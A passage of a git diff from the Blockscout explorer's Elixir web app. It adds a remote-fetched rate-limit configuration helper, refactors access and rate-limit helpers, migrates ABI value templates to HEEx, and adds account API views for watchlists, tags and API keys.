mode 100644 index 000000000000..32a77553ec3d --- /dev/null +++ b/apps/block_scout_web/lib/block_scout_web/utility/rate_limit_config_helper.ex @@ -0,0 +1,166 @@ +defmodule BlockScoutWeb.Utility.RateLimitConfigHelper do + @moduledoc """ + Fetches the rate limit config from the config url and parses it into a map. + """ + require Logger + + alias Explorer.HttpClient + alias Utils.ConfigHelper + + @doc """ + Fetches the rate limit config from the config url and puts it into the persistent term under the key `:rate_limit_config`. + """ + @spec store_rate_limit_config() :: :ok + def store_rate_limit_config do + :persistent_term.put(:rate_limit_config, fetch_config()) + end + + defp fetch_config do + url = Application.get_env(:block_scout_web, :api_rate_limit)[:config_url] + + with {:ok, config} <- download_config(url), + parsed_config <- parse_config(config) do + parsed_config + else + {:error, reason} -> + Logger.error("Failed to fetch rate limit config: #{inspect(reason)}. Fallback to local config.") + fallback_config() + end + rescue + error -> + Logger.error("Failed to fetch config: #{inspect(error)}. Fallback to local config.") + fallback_config() + end + + defp fallback_config do + with {:ok, config} <- + :block_scout_web + |> Application.app_dir("priv/rate_limit_config.json") + |> File.read(), + {:ok, config} <- decode_config(config), + config <- parse_config(config) do + config + else + {:error, reason} -> + Logger.error("Failed to parse local config: #{inspect(reason)}. Using default rate limits from ENVs.") + %{} + end + end + + defp download_config(url) when is_binary(url) do + url + |> HttpClient.get([], follow_redirect: true) + |> case do + {:ok, %{status_code: 200, body: body}} -> + decode_config(body) + + {:ok, %{status_code: status}} -> + Logger.error("Failed to fetch config from #{url}: #{status}") + {:error, status} + + {:error, reason} -> + {:error, reason} + end + end + + defp download_config(_), do: {:error, :invalid_config_url} + + defp decode_config(config) do + to_atom? = + Map.from_keys( + [ + "account_api_key", + "bypass_token_scope", + "cost", + "ip", + "ignore", + "limit", + "period", + "recaptcha_to_bypass_429", + "static_api_key", + "temporary_token", + "whitelisted_ip", + "isolate_rate_limit?" + ], + true + ) + + config + |> Jason.decode( + keys: fn key -> + if to_atom?[key] do + String.to_atom(key) + else + key + end + end + ) + end + + defp parse_config(config) do + config = decode_time_values(config) + + config + |> Map.keys() + |> Enum.reduce(%{wildcard_match: %{}, parametrized_match: %{}, static_match: %{}}, fn key, acc -> + {type, value} = process_endpoint_path(key) + + prefix = + if config[key][:isolate_rate_limit?] do + "#{key}_" + else + "" + end + + config = Map.put(config[key], :bucket_key_prefix, prefix) + + Map.update(acc, type, %{value => config}, fn existing_value -> + Map.put(existing_value, value, config) + end) + end) + end + + defp process_endpoint_path(key) do + path_parts = key |> String.trim("/") |> String.split("/") + + cond do + String.contains?(key, "*") -> + if Enum.find_index(path_parts, &Kernel.==(&1, "*")) == length(path_parts) - 1 do + {:wildcard_match, {Enum.drop(path_parts, -1), length(path_parts) - 1}} + else + raise "wildcard `*` allowed only at the end of the path" + end + + String.contains?(key, ":param") -> + {:parametrized_match, path_parts} + + true -> + {:static_match, key} + end + end + + defp decode_time_values(config) when is_map(config) do + config + |> Enum.map(fn + {:period, value} when is_binary(value) -> + {:period, parse_time_string(value)} + + {key, value} when is_map(value) -> + {key, decode_time_values(value)} + + entry -> + entry + end) + |> Enum.into(%{}) + end + + defp parse_time_string(value) do + case ConfigHelper.parse_time_value(value) do + :error -> + raise "Invalid time format in rate limit config: #{value}" + + time -> + time + end + end +end diff --git a/apps/block_scout_web/lib/block_scout_web/views/abi_encoded_value_view.ex b/apps/block_scout_web/lib/block_scout_web/views/abi_encoded_value_view.ex index 0f09ce2302fc..55fc039bfe03 100644 --- a/apps/block_scout_web/lib/block_scout_web/views/abi_encoded_value_view.ex +++ b/apps/block_scout_web/lib/block_scout_web/views/abi_encoded_value_view.ex @@ -7,8 +7,11 @@ defmodule BlockScoutWeb.ABIEncodedValueView do """ use BlockScoutWeb, :view + import Phoenix.LiveView.Helpers, only: [sigil_H: 2] + alias ABI.FunctionSelector alias Phoenix.HTML + alias Phoenix.HTML.Safe require Logger @@ -20,8 +23,8 @@ defmodule BlockScoutWeb.ABIEncodedValueView do do_value_html(decoded_type, value, no_links) rescue exception -> - Logger.warn(fn -> - ["Error determining value html for #{inspect(type)}: ", Exception.format(:error, exception)] + Logger.warning(fn -> + ["Error determining value html for #{inspect(type)}: ", Exception.format(:error, exception, __STACKTRACE__)] end) :error @@ -33,15 +36,15 @@ defmodule BlockScoutWeb.ABIEncodedValueView do do_copy_text(decoded_type, value) rescue exception -> - Logger.warn(fn -> - ["Error determining copy text for #{inspect(type)}: ", Exception.format(:error, exception)] + Logger.warning(fn -> + ["Error determining copy text for #{inspect(type)}: ", Exception.format(:error, exception, __STACKTRACE__)] end) :error end defp do_copy_text({:bytes, _type}, value) do - hex(value) + "0x" <> Base.encode16(value, case: :lower) end defp do_copy_text({:array, type, _}, value) do @@ -54,15 +57,19 @@ defmodule BlockScoutWeb.ABIEncodedValueView do |> Enum.map(&do_copy_text(type, &1)) |> Enum.intersperse(", ") - ~E|[<%= values %>]| + assigns = %{values: values} + + ~H|[<%= @values %>]| + |> Safe.to_iodata() + |> List.to_string() end defp do_copy_text(_, {:dynamic, value}) do - hex(value) + "0x" <> Base.encode16(value, case: :lower) end defp do_copy_text(type, value) when type in [:bytes, :address] do - hex(value) + "0x" <> Base.encode16(value, case: :lower) end defp do_copy_text({:tuple, types}, value) do @@ -73,7 +80,11 @@ defmodule BlockScoutWeb.ABIEncodedValueView do |> Enum.map(fn {val, ind} -> do_copy_text(Enum.at(types, ind), val) end) |> Enum.intersperse(", ") - ~E|(<%= values %>)| + assigns = %{values: values} + + ~H|(<%= @values %>)| + |> Safe.to_iodata() + |> List.to_string() end defp do_copy_text(_type, value) do @@ -99,7 +110,23 @@ defmodule BlockScoutWeb.ABIEncodedValueView do spacing = String.duplicate(" ", depth * 2) delimited = Enum.intersperse(values, ",\n") - ~E|<%= spacing %>[<%= "\n" %><%= delimited %><%= "\n" %><%= spacing %>]| + assigns = %{spacing: spacing, delimited: delimited} + + elements = + Enum.reduce(delimited, "", fn value, acc -> + assigns = %{value: value} + + html = ~H|<%= raw(@value) %>| |> Safe.to_iodata() |> List.to_string() + acc <> html + end) + + (~H|<%= @spacing %>[<%= "\n" %>| + |> Safe.to_iodata() + |> List.to_string()) <> + elements <> + (~H|<%= "\n" %><%= @spacing %>]| + |> Safe.to_iodata() + |> List.to_string()) end defp do_value_html({:tuple, types}, values, no_links, _) do @@ -112,38 +139,54 @@ defmodule BlockScoutWeb.ABIEncodedValueView do end) delimited = Enum.intersperse(values_list, ",") - ~E|(<%= delimited %>)| + assigns = %{delimited: delimited} + + ~H|(<%= for value <- @delimited, do: raw(value) %>)| + |> Safe.to_iodata() + |> List.to_string() end defp do_value_html(type, value, no_links, depth) do spacing = String.duplicate(" ", depth * 2) - ~E|<%= spacing %><%=base_value_html(type, value, no_links)%>| - [spacing, base_value_html(type, value, no_links)] + html = base_value_html(type, value, no_links) + + assigns = %{html: html, spacing: spacing} + + ~H|<%= @spacing %><%= @html %>| + |> Safe.to_iodata() + |> List.to_string() end defp base_value_html(_, {:dynamic, value}, _no_links) do - ~E|<%= hex(value) %>| + assigns = %{value: value} + + ~H|<%= "0x" <> Base.encode16(@value, case: :lower) %>| end defp base_value_html(:address, value, no_links) do if no_links do base_value_html(:address_text, value, no_links) else - address = hex(value) + address = "0x" <> Base.encode16(value, case: :lower) + path = address_path(BlockScoutWeb.Endpoint, :show, address) + + assigns = %{address: address, path: path} - ~E|<%= address %>| + ~H|<%= @address %>| end end defp base_value_html(:address_text, value, _no_links) do - ~E|<%= hex(value) %>| + assigns = %{value: value} + + ~H|<%= "0x" <> Base.encode16(@value, case: :lower) %>| end defp base_value_html(:bytes, value, _no_links) do - ~E|<%= hex(value) %>| + assigns = %{value: value} + + ~H|<%= "0x" <> Base.encode16(@value, case: :lower) %>| end defp base_value_html(_, value, _no_links), do: HTML.html_escape(value) - - defp hex(value), do: "0x" <> Base.encode16(value, case: :lower) end diff --git a/apps/block_scout_web/lib/block_scout_web/views/access_helper.ex b/apps/block_scout_web/lib/block_scout_web/views/access_helper.ex new file mode 100644 index 000000000000..9e79ef68a706 --- /dev/null +++ b/apps/block_scout_web/lib/block_scout_web/views/access_helper.ex @@ -0,0 +1,118 @@ +defmodule BlockScoutWeb.AccessHelper do + @moduledoc """ + Helper to restrict access to some pages filtering by address + """ + + import Phoenix.Controller + + alias BlockScoutWeb.API.APILogger + alias BlockScoutWeb.API.RPC.RPCView + alias BlockScoutWeb.API.V2.ApiView + alias BlockScoutWeb.Routers.WebRouter.Helpers + alias Explorer.{AccessHelper, Chain} + alias Plug.Conn + + alias RemoteIp + + require Logger + + @invalid_address_hash "Invalid address hash" + @restricted_access "Restricted access" + + def restricted_access?(address_hash, params) do + AccessHelper.restricted_access?(address_hash, params) + end + + @doc """ + Checks if the given address hash string is valid and not restricted. + + ## Parameters + - address_hash_string: A string representing the address hash to be validated. + + ## Returns + - :ok if the address hash is valid and access is not restricted. + - binary with reason otherwise. + """ + @spec valid_address_hash_and_not_restricted_access?(binary()) :: :ok | binary() + def valid_address_hash_and_not_restricted_access?(address_hash_string) do + with address_hash when not is_nil(address_hash) <- Chain.string_to_address_hash_or_nil(address_hash_string), + {:ok, false} <- AccessHelper.restricted_access?(address_hash_string, %{}) do + :ok + else + nil -> + @invalid_address_hash + + {:restricted_access, true} -> + @restricted_access + end + end + + def get_path(conn, path, template, address_hash) do + basic_args = [conn, template, address_hash] + key = get_restricted_key(conn) + # credo:disable-for-next-line + full_args = if key, do: basic_args ++ [%{:key => key}], else: basic_args + + apply(Helpers, path, full_args) + end + + def get_path(conn, path, template, address_hash, additional_params) do + basic_args = [conn, template, address_hash] + key = get_restricted_key(conn) + full_additional_params = if key, do: Map.put(additional_params, :key, key), else: additional_params + # credo:disable-for-next-line + full_args = basic_args ++ [full_additional_params] + + apply(Helpers, path, full_args) + end + + @doc """ + Handles a rate limit deny. + + ## Parameters + - conn: The connection to handle. + - api_v1?: Whether the API is v1. + + ## Returns + - A connection with the status code 429 and the view set to ApiView if api_v2? is true, otherwise the view is set to RPCView. + """ + @spec handle_rate_limit_deny(Plug.Conn.t(), boolean()) :: Plug.Conn.t() + def handle_rate_limit_deny(conn, api_v1?) do + APILogger.message("API rate limit reached") + + view = if api_v1?, do: RPCView, else: ApiView + tag = if api_v1?, do: :error, else: :message + + conn + |> Conn.put_status(429) + |> put_view(view) + |> render(tag, %{tag => "Too Many Requests"}) + |> Conn.halt() + end + + defp get_restricted_key(%Phoenix.Socket{}), do: nil + + defp get_restricted_key(conn) do + conn_with_params = Conn.fetch_query_params(conn) + conn_with_params.query_params["key"] + end + + @doc """ + Converts a connection to an IP string. + + ## Parameters + - conn: The connection to convert. + + ## Returns + - A string representing the IP address. If the connection is behind a proxy, the IP address from the headers is used. + """ + @spec conn_to_ip_string(Plug.Conn.t()) :: String.t() + def conn_to_ip_string(conn) do + config = Application.get_env(:block_scout_web, :remote_ip) + + remote_ip_from_headers = config[:is_blockscout_behind_proxy] && RemoteIp.from(conn.req_headers, config) + ip = remote_ip_from_headers || conn.remote_ip + + to_string(:inet_parse.ntoa(ip)) + end +end diff --git a/apps/block_scout_web/lib/block_scout_web/views/access_helpers.ex b/apps/block_scout_web/lib/block_scout_web/views/access_helpers.ex deleted file mode 100644 index c89ac104353d..000000000000 --- a/apps/block_scout_web/lib/block_scout_web/views/access_helpers.ex +++ /dev/null @@ -1,150 +0,0 @@ -defmodule BlockScoutWeb.AccessHelpers do - @moduledoc """ - Helpers to restrict access to some pages filtering by address - """ - - import Phoenix.Controller - - alias BlockScoutWeb.API.APILogger - alias BlockScoutWeb.API.RPC.RPCView - alias BlockScoutWeb.WebRouter.Helpers - alias Plug.Conn - - alias RemoteIp - - def restricted_access?(address_hash, params) do - restricted_list_var = Application.get_env(:block_scout_web, :restricted_list) - restricted_list = (restricted_list_var && String.split(restricted_list_var, ",")) || [] - - if Enum.count(restricted_list) > 0 do - formatted_restricted_list = - restricted_list - |> Enum.map(fn addr -> - String.downcase(addr) - end) - - formatted_address_hash = String.downcase(address_hash) - - address_restricted = - formatted_restricted_list - |> Enum.member?(formatted_address_hash) - - key = if params && Map.has_key?(params, "key"), do: Map.get(params, "key"), else: nil - correct_key = key && key == Application.get_env(:block_scout_web, :restricted_list_key) - - if address_restricted && !correct_key, do: {:restricted_access, true}, else: {:ok, false} - else - {:ok, false} - end - end - - def get_path(conn, path, template, address_hash) do - basic_args = [conn, template, address_hash] - key = get_restricted_key(conn) - # credo:disable-for-next-line - full_args = if key, do: basic_args ++ [%{:key => key}], else: basic_args - - apply(Helpers, path, full_args) - end - - def get_path(conn, path, template, address_hash, additional_params) do - basic_args = [conn, template, address_hash] - key = get_restricted_key(conn) - full_additional_params = if key, do: Map.put(additional_params, :key, key), else: additional_params - # credo:disable-for-next-line - full_args = basic_args ++ [full_additional_params] - - apply(Helpers, path, full_args) - end - - def handle_rate_limit_deny(conn) do - APILogger.message("API rate limit reached") - - conn - |> Conn.put_status(429) - |> put_view(RPCView) - |> render(:error, %{error: "429 Too Many Requests"}) - |> Conn.halt() - end - - def check_rate_limit(conn) do - if Mix.env() == :test do - :ok - else - global_api_rate_limit = Application.get_env(:block_scout_web, :api_rate_limit)[:global_limit] - api_rate_limit_by_key = Application.get_env(:block_scout_web, :api_rate_limit)[:api_rate_limit_by_key] - api_rate_limit_by_ip = Application.get_env(:block_scout_web, :api_rate_limit)[:limit_by_ip] - static_api_key = Application.get_env(:block_scout_web, :api_rate_limit)[:static_api_key] - - remote_ip = conn.remote_ip - remote_ip_from_headers = RemoteIp.from(conn.resp_headers) - ip = remote_ip_from_headers || remote_ip - ip_string = to_string(:inet_parse.ntoa(ip)) - - cond do - conn.query_params && Map.has_key?(conn.query_params, "apikey") && - Map.get(conn.query_params, "apikey") == static_api_key -> - rate_limit_by_key(static_api_key, api_rate_limit_by_key) - - Enum.member?(api_rate_limit_whitelisted_ips(), ip_string) -> - rate_limit_by_ip(ip_string, api_rate_limit_by_ip) - - true -> - global_rate_limit(global_api_rate_limit) - end - end - end - - defp rate_limit_by_key(api_key, api_rate_limit_by_key) do - case Hammer.check_rate("api-#{api_key}", 1_000, api_rate_limit_by_key) do - {:allow, _count} -> - :ok - - {:deny, _limit} -> - :rate_limit_reached - end - end - - defp rate_limit_by_ip(ip_string, api_rate_limit_by_ip) do - case Hammer.check_rate("api-#{ip_string}", 1_000, api_rate_limit_by_ip) do - {:allow, _count} -> - :ok - - {:deny, _limit} -> - :rate_limit_reached - end - end - - defp global_rate_limit(global_api_rate_limit) do - case Hammer.check_rate("api", 1_000, global_api_rate_limit) do - {:allow, _count} -> - :ok - - {:deny, _limit} -> - :rate_limit_reached - end - end - - defp get_restricted_key(%Phoenix.Socket{}) do - nil - end - - defp get_restricted_key(conn) do - conn_with_params = Conn.fetch_query_params(conn) - conn_with_params.query_params["key"] - end - - defp api_rate_limit_whitelisted_ips do - with api_rate_limit_object <- - :block_scout_web - |> Application.get_env(:api_rate_limit), - {:ok, whitelisted_ips_string} <- - api_rate_limit_object && - api_rate_limit_object - |> Keyword.fetch(:whitelisted_ips) do - if whitelisted_ips_string, do: String.split(whitelisted_ips_string, ","), else: [] - else - _ -> [] - end - end -end diff --git a/apps/block_scout_web/lib/block_scout_web/views/account/api/v2/account_view.ex b/apps/block_scout_web/lib/block_scout_web/views/account/api/v2/account_view.ex new file mode 100644 index 000000000000..3a41871dc0c2 --- /dev/null +++ b/apps/block_scout_web/lib/block_scout_web/views/account/api/v2/account_view.ex @@ -0,0 +1,7 @@ +defmodule BlockScoutWeb.Account.API.V2.AccountView do + def render("message.json", %{message: message}) do + %{ + "message" => message + } + end +end diff --git a/apps/block_scout_web/lib/block_scout_web/views/account/api/v2/tags_view.ex b/apps/block_scout_web/lib/block_scout_web/views/account/api/v2/tags_view.ex new file mode 100644 index 000000000000..50403cf0f2f1 --- /dev/null +++ b/apps/block_scout_web/lib/block_scout_web/views/account/api/v2/tags_view.ex @@ -0,0 +1,27 @@ +defmodule BlockScoutWeb.Account.API.V2.TagsView do + def render("address_tags.json", %{tags_map: tags_map}) do + tags_map + end + + def render("transaction_tags.json", %{ + tags_map: %{ + personal_tags: personal_tags, + watchlist_names: watchlist_names, + personal_transaction_tag: personal_transaction_tag, + common_tags: common_tags + } + }) do + %{ + personal_transaction_tag: prepare_transaction_tag(personal_transaction_tag), + personal_tags: personal_tags, + watchlist_names: watchlist_names, + common_tags: common_tags + } + end + + def prepare_transaction_tag(nil), do: nil + + def prepare_transaction_tag(transaction_tag) do + %{"label" => transaction_tag.name} + end +end diff --git a/apps/block_scout_web/lib/block_scout_web/views/account/api/v2/user_view.ex b/apps/block_scout_web/lib/block_scout_web/views/account/api/v2/user_view.ex new file mode 100644 index 000000000000..360a188dcab4 --- /dev/null +++ b/apps/block_scout_web/lib/block_scout_web/views/account/api/v2/user_view.ex @@ -0,0 +1,189 @@ +defmodule BlockScoutWeb.Account.API.V2.UserView do + use BlockScoutWeb, :view + + alias BlockScoutWeb.Account.API.V2.AccountView + alias BlockScoutWeb.API.V2.Helper + alias Ecto.Changeset + alias Explorer.Account.WatchlistAddress + alias Explorer.Chain + alias Explorer.Chain.Address + + def render("message.json", assigns) do + AccountView.render("message.json", assigns) + end + + def render("user_info.json", %{identity: identity}) do + %{ + "name" => identity.name, + "email" => identity.email, + "avatar" => identity.avatar, + "nickname" => identity.nickname, + "address_hash" => identity.address_hash + } + end + + def render("watchlist_addresses.json", %{ + watchlist_addresses: watchlist_addresses, + exchange_rate: exchange_rate, + next_page_params: next_page_params + }) do + prepared_watchlist_addresses = prepare_watchlist_addresses(watchlist_addresses, exchange_rate) + + %{ + "items" => prepared_watchlist_addresses, + "next_page_params" => next_page_params + } + end + + def render("watchlist_addresses.json", %{watchlist_addresses: watchlist_addresses, exchange_rate: exchange_rate}) do + prepare_watchlist_addresses(watchlist_addresses, exchange_rate) + end + + def render("watchlist_address.json", %{watchlist_address: watchlist_address, exchange_rate: exchange_rate}) do + address = Address.get_by_hash(watchlist_address.address_hash) + prepare_watchlist_address(watchlist_address, address, exchange_rate) + end + + def render("address_tags.json", %{address_tags: address_tags, next_page_params: next_page_params}) do + %{"items" => Enum.map(address_tags, &prepare_address_tag/1), "next_page_params" => next_page_params} + end + + def render("address_tags.json", %{address_tags: address_tags}) do + Enum.map(address_tags, &prepare_address_tag/1) + end + + def render("address_tag.json", %{address_tag: address_tag}) do + prepare_address_tag(address_tag) + end + + def render("transaction_tags.json", %{transaction_tags: transaction_tags, next_page_params: next_page_params}) do + %{"items" => Enum.map(transaction_tags, &prepare_transaction_tag/1), "next_page_params" => next_page_params} + end + + def render("transaction_tags.json", %{transaction_tags: transaction_tags}) do + Enum.map(transaction_tags, &prepare_transaction_tag/1) + end + + def render("transaction_tag.json", %{transaction_tag: transaction_tag}) do + prepare_transaction_tag(transaction_tag) + end + + def render("api_keys.json", %{api_keys: api_keys}) do + Enum.map(api_keys, &prepare_api_key/1) + end + + def render("api_key.json", %{api_key: api_key}) do + prepare_api_key(api_key) + end + + def render("custom_abis.json", %{custom_abis: custom_abis}) do + Enum.map(custom_abis, &prepare_custom_abi/1) + end + + def render("custom_abi.json", %{custom_abi: custom_abi}) do + prepare_custom_abi(custom_abi) + end + + def render("changeset_errors.json", %{changeset: changeset}) do + %{ + "errors" => + Changeset.traverse_errors(changeset, fn {msg, opts} -> + Regex.replace(~r"%{(\w+)}", msg, fn _, key -> + opts |> Keyword.get(String.to_existing_atom(key), key) |> to_string() + end) + end) + } + end + + @spec prepare_watchlist_address(WatchlistAddress.t(), Chain.Address.t(), map()) :: map + defp prepare_watchlist_address(watchlist, address, exchange_rate) do + %{ + "id" => watchlist.id, + "address" => Helper.address_with_info(nil, address, watchlist.address_hash, false), + "address_hash" => watchlist.address_hash, + "name" => watchlist.name, + "address_balance" => if(address && address.fetched_coin_balance, do: address.fetched_coin_balance.value), + "exchange_rate" => exchange_rate.fiat_value, + "notification_settings" => %{ + "native" => %{ + "incoming" => watchlist.watch_coin_input, + "outcoming" => watchlist.watch_coin_output + }, + "ERC-20" => %{ + "incoming" => watchlist.watch_erc_20_input, + "outcoming" => watchlist.watch_erc_20_output + }, + "ERC-721" => %{ + "incoming" => watchlist.watch_erc_721_input, + "outcoming" => watchlist.watch_erc_721_output + }, + # "ERC-1155" => %{ + # "incoming" => watchlist.watch_erc_1155_input, + # "outcoming" => watchlist.watch_erc_1155_output + # }, + "ERC-404" => %{ + "incoming" => watchlist.watch_erc_404_input, + "outcoming" => watchlist.watch_erc_404_output + } + }, + "notification_methods" => %{ + "email" => watchlist.notify_email + }, + "tokens_fiat_value" => watchlist.tokens_fiat_value, + "tokens_count" => watchlist.tokens_count, + "tokens_overflow" => watchlist.tokens_overflow + } + end + + @spec prepare_watchlist_addresses([WatchlistAddress.t()], map()) :: [map()] + defp prepare_watchlist_addresses(watchlist_addresses, exchange_rate) do + address_hashes = + watchlist_addresses + |> Enum.map(& &1.address_hash) + + addresses = Address.get_addresses_by_hashes(address_hashes) + + watchlist_addresses + |> Enum.zip(addresses) + |> Enum.map(fn {watchlist, address} -> + prepare_watchlist_address(watchlist, address, exchange_rate) + end) + end + + defp prepare_custom_abi(custom_abi) do + address = Address.get_by_hash(custom_abi.address_hash) + + %{ + "id" => custom_abi.id, + "contract_address_hash" => custom_abi.address_hash, + "contract_address" => Helper.address_with_info(nil, address, custom_abi.address_hash, false), + "name" => custom_abi.name, + "abi" => custom_abi.abi + } + end + + defp prepare_api_key(api_key) do + %{"api_key" => api_key.value, "name" => api_key.name} + end + + defp prepare_address_tag(address_tag) do + address = Address.get_by_hash(address_tag.address_hash) + + %{ + "id" => address_tag.id, + "address_hash" => address_tag.address_hash, + "address" => Helper.address_with_info(nil, address, address_tag.address_hash, false), + "name" => address_tag.name + } + end + + defp prepare_transaction_tag(nil), do: nil + + defp prepare_transaction_tag(transaction_tag) do + %{ + "id" => transaction_tag.id, + "transaction_hash" => transaction_tag.transaction_hash, + "name" => transaction_tag.name + } + end +end diff --git a/apps/block_scout_web/lib/block_scout_web/views/account/api_key_view.ex b/apps/block_scout_web/lib/block_scout_web/views/account/api_key_view.ex new file mode 100644 index 000000000000..a0b21b79da2d --- /dev/null +++ b/apps/block_scout_web/lib/block_scout_web/views/account/api_key_view.ex @@ -0,0 +1,5 @@ +defmodule BlockScoutWeb.Account.ApiKeyView do + use BlockScoutWeb, :view + + alias Explorer.Account.Api.Key +end diff --git a/apps/block_scout_web/lib/block_scout_web/views/account/auth_view.ex b/apps/block_scout_web/lib/block_scout_web/views/account/auth_view.ex new file mode 100644 index 000000000000..cfbeb001e0fb --- /dev/null +++ b/apps/block_scout_web/lib/block_scout_web/views/account/auth_view.ex @@ -0,0 +1,3 @@ +defmodule BlockScoutWeb.Account.AuthView do + use BlockScoutWeb, :view +end diff --git a/apps/block_scout_web/lib/block_scout_web/views/account/common_view.ex b/apps/block_scout_web/lib/block_scout_web/views/account/common_view.ex new file mode 100644 index 000000000000..e296ca90d696 --- /dev/null +++ b/apps/block_scout_web/lib/block_scout_web/views/account/common_view.ex @@ -0,0 +1,11 @@ +defmodule BlockScoutWeb.Account.CommonView do + use BlockScoutWeb, :view + + def nav_class(active_item, item) do + if active_item == item do + "dropdown-item active fs-14" + else + "dropdown-item fs-14" + end + end +end diff --git a/apps/block_scout_web/lib/block_scout_web/views/account/custom_abi_view.ex b/apps/block_scout_web/lib/block_scout_web/views/account/custom_abi_view.ex new file mode 100644 index 000000000000..3b38effa417b --- /dev/null +++ b/apps/block_scout_web/lib/block_scout_web/views/account/custom_abi_view.ex @@ -0,0 +1,22 @@ +defmodule BlockScoutWeb.Account.CustomABIView do + use BlockScoutWeb, :view + + alias Ecto.Changeset + alias Explorer.Account.CustomABI + + def format_abi(custom_abi) do + with {_type, abi} <- Changeset.fetch_field(custom_abi, :abi), + false <- is_nil(abi), + {:binary, false} <- {:binary, is_binary(abi)}, + {:ok, encoded_abi} <- Poison.encode(abi) do + encoded_abi + else + {:binary, true} -> + {_type, abi} = Changeset.fetch_field(custom_abi, :abi) + abi + + _ -> + "" + end + end +end diff --git a/apps/block_scout_web/lib/block_scout_web/views/account/tag_address_view.ex b/apps/block_scout_web/lib/block_scout_web/views/account/tag_address_view.ex new file mode 100644 index 000000000000..74886c33e9e5 --- /dev/null +++ b/apps/block_scout_web/lib/block_scout_web/views/account/tag_address_view.ex @@ -0,0 +1,7 @@ +defmodule BlockScoutWeb.Account.TagAddressView do + use BlockScoutWeb, :view + + import BlockScoutWeb.AddressView, only: [trimmed_hash: 1] + + alias Explorer.Account.TagAddress +end diff --git a/apps/block_scout_web/lib/block_scout_web/views/account/tag_transaction_view.ex b/apps/block_scout_web/lib/block_scout_web/views/account/tag_transaction_view.ex new file mode 100644 index 000000000000..7edfa1e3403e --- /dev/null +++ b/apps/block_scout_web/lib/block_scout_web/views/account/tag_transaction_view.ex @@ -0,0 +1,5 @@ +defmodule BlockScoutWeb.Account.TagTransactionView do + use BlockScoutWeb, :view + + alias Explorer.Account.TagTransaction +end diff --git a/apps/block_scout_web/lib/block_scout_web/views/account/watchlist_address_view.ex b/apps/block_scout_web/lib/block_scout_web/views/account/watchlist_address_view.ex new file mode 100644 index 000000000000..29246e3a1556 --- /dev/null +++ b/apps/block_scout_web/lib/block_scout_web/views/account/watchlist_address_view.ex @@ -0,0 +1,11 @@ +defmodule BlockScoutWeb.Account.WatchlistAddressView do + use BlockScoutWeb, :view + import BlockScoutWeb.AddressView, only: [trimmed_hash: 1] + import BlockScoutWeb.WeiHelper, only: [format_wei_value: 2] + + def balance_ether(nil), do: "" + + def balance_ether(balance) do + format_wei_value(balance, :ether) + end +end diff --git a/apps/block_scout_web/lib/block_scout_web/views/account/watchlist_view.ex b/apps/block_scout_web/lib/block_scout_web/views/account/watchlist_view.ex new file mode 100644 index 000000000000..b30802d118dc --- /dev/null +++ b/apps/block_scout_web/lib/block_scout_web/views/account/watchlist_view.ex @@ -0,0 +1,11 @@ +defmodule BlockScoutWeb.Account.WatchlistView do + use BlockScoutWeb, :view + + alias BlockScoutWeb.Account.WatchlistAddressView + alias Explorer.Account.WatchlistAddress + alias Explorer.Market + + def exchange_rate do + Market.get_coin_exchange_rate() + end +end diff --git a/apps/block_scout_web/lib/block_scout_web/views/address_coin_balance_view.ex b/apps/block_scout_web/lib/block_scout_web/views/address_coin_balance_view.ex index 0551d940363a..6e0363dab30c 100644 --- a/apps/block_scout_web/lib/block_scout_web/views/address_coin_balance_view.ex +++ b/apps/block_scout_web/lib/block_scout_web/views/address_coin_balance_view.ex @@ -1,8 +1,9 @@ defmodule BlockScoutWeb.AddressCoinBalanceView do use BlockScoutWeb, :view - alias BlockScoutWeb.AccessHelpers + alias BlockScoutWeb.AccessHelper alias Explorer.Chain.Wei + alias Explorer.SmartContract.Helper, as: SmartContractHelper def format(%Wei{} = value) do format_wei_value(value, :ether) diff --git a/apps/block_scout_web/lib/block_scout_web/views/address_contract_verification_via_flattened_code_view.ex b/apps/block_scout_web/lib/block_scout_web/views/address_contract_verification_via_flattened_code_view.ex index 3a120c597f19..e5adf9b9d4ae 100644 --- a/apps/block_scout_web/lib/block_scout_web/views/address_contract_verification_via_flattened_code_view.ex +++ b/apps/block_scout_web/lib/block_scout_web/views/address_contract_verification_via_flattened_code_view.ex @@ -1,6 +1,6 @@ defmodule BlockScoutWeb.AddressContractVerificationViaFlattenedCodeView do use BlockScoutWeb, :view - alias Explorer.Chain alias Explorer.Chain.SmartContract + alias Explorer.SmartContract.RustVerifierInterface end diff --git a/apps/block_scout_web/lib/block_scout_web/views/address_contract_verification_via_multi_part_files_view.ex b/apps/block_scout_web/lib/block_scout_web/views/address_contract_verification_via_multi_part_files_view.ex index 7ec8e9b7d989..76f88f059ac0 100644 --- a/apps/block_scout_web/lib/block_scout_web/views/address_contract_verification_via_multi_part_files_view.ex +++ b/apps/block_scout_web/lib/block_scout_web/views/address_contract_verification_via_multi_part_files_view.ex @@ -1,6 +1,6 @@ defmodule BlockScoutWeb.AddressContractVerificationViaMultiPartFilesView do use BlockScoutWeb, :view - alias Explorer.Chain alias Explorer.Chain.SmartContract + alias Explorer.SmartContract.RustVerifierInterface end diff --git a/apps/block_scout_web/lib/block_scout_web/views/address_contract_verification_via_standard_json_input_view.ex b/apps/block_scout_web/lib/block_scout_web/views/address_contract_verification_via_standard_json_input_view.ex index cf45efe96f0a..9a4298a01c4b 100644 --- a/apps/block_scout_web/lib/block_scout_web/views/address_contract_verification_via_standard_json_input_view.ex +++ b/apps/block_scout_web/lib/block_scout_web/views/address_contract_verification_via_standard_json_input_view.ex @@ -1,6 +1,5 @@ defmodule BlockScoutWeb.AddressContractVerificationViaStandardJsonInputView do use BlockScoutWeb, :view - alias Explorer.Chain alias Explorer.Chain.SmartContract end diff --git a/apps/block_scout_web/lib/block_scout_web/views/address_contract_verification_vyper_view.ex b/apps/block_scout_web/lib/block_scout_web/views/address_contract_verification_vyper_view.ex index e0ebba9694a1..47da5eab9093 100644 --- a/apps/block_scout_web/lib/block_scout_web/views/address_contract_verification_vyper_view.ex +++ b/apps/block_scout_web/lib/block_scout_web/views/address_contract_verification_vyper_view.ex @@ -1,6 +1,5 @@ defmodule BlockScoutWeb.AddressContractVerificationVyperView do use BlockScoutWeb, :view - alias Explorer.Chain alias Explorer.Chain.SmartContract end diff --git a/apps/block_scout_web/lib/block_scout_web/views/address_contract_view.ex b/apps/block_scout_web/lib/block_scout_web/views/address_contract_view.ex index 8856d14c3045..7d07052bb8e3 100644 --- a/apps/block_scout_web/lib/block_scout_web/views/address_contract_view.ex +++ b/apps/block_scout_web/lib/block_scout_web/views/address_contract_view.ex @@ -1,9 +1,18 @@ defmodule BlockScoutWeb.AddressContractView do use BlockScoutWeb, :view - alias 